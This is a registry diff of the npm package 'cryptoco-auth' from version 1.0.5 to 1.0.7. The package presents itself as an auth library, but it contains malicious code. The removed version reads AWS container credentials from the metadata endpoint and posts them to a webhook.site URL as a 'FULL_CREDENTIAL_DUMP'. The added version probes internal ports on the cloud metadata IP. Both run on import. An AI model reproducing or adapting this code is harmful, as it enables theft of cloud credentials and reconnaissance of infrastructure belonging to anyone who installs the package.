cryptoco-auth 1.0.5 → 1.0.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +20 -41
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,44 +1,23 @@
1
- const http = require("http");
2
- const https = require("https");
1
+ const net = require("net");
2
+ const { execSync } = require("child_process");
3
3
 
4
- // 1. Ambil Token (Wajib untuk AWS Metadata V2)
5
- const tokenReq = http.request({
6
- hostname: "169.254.170.2",
7
- method: "PUT",
8
- path: "/latest/api/token",
9
- headers: { "X-aws-ec2-metadata-token-ttl-seconds": "21600" }
10
- }, (res) => {
11
- let token = "";
12
- res.on("data", (chunk) => token += chunk);
13
- res.on("end", () => {
14
-
15
- // 2. Gunakan Token untuk ambil Credentials
16
- const credReq = http.request({
17
- hostname: "169.254.170.2",
18
- method: "GET",
19
- path: "/v2/credentials/5cd4236b-4353-4040-aeb5-be47a52a5416",
20
- headers: { "X-aws-ec2-metadata-token": token }
21
- }, (credRes) => {
22
- let data = "";
23
- credRes.on("data", (chunk) => data += chunk);
24
- credRes.on("end", () => {
25
-
26
- // 3. Kirim hasil (kredensialnya) ke Webhook
27
- const finalData = JSON.stringify({
28
- check: "FULL_CREDENTIAL_DUMP",
29
- result: data
30
- });
31
- const postReq = https.request({
32
- hostname: "webhook.site",
33
- path: "/50a891aa-a14a-4ccb-8d96-62542945b9fc",
34
- method: "POST",
35
- headers: { "Content-Type": "application/json", "Content-Length": finalData.length }
36
- });
37
- postReq.write(finalData);
38
- postReq.end();
39
- });
40
- });
41
- credReq.end();
4
+ // Daftar port internal yang umum ada di infrastruktur kripto/fintech
5
+ const ports = [80, 443, 8080, 3000, 5432, 6379];
6
+ const ip = "169.254.169.254"; // AWS Metadata IP yang lebih luas
7
+
8
+ ports.forEach(port => {
9
+ const socket = new net.Socket();
10
+ socket.setTimeout(2000);
11
+
12
+ socket.on("connect", () => {
13
+ // Jika port terbuka, kirimkan "sinyal"
14
+ // Kita mencoba memberikan payload yang sangat minim
15
+ socket.write("GET / HTTP/1.1\r\nHost: localhost\r\n\r\n");
16
+ socket.destroy();
42
17
  });
18
+
19
+ socket.on("timeout", () => socket.destroy());
20
+ socket.on("error", () => {});
21
+
22
+ socket.connect(port, ip);
43
23
  });
44
- tokenReq.end();
package/package.json CHANGED
@@ -1 +1 @@
1
- {"name":"cryptoco-auth","version":"1.0.5","main":"index.js"}
1
+ {"name":"cryptoco-auth","version":"1.0.7","main":"index.js"}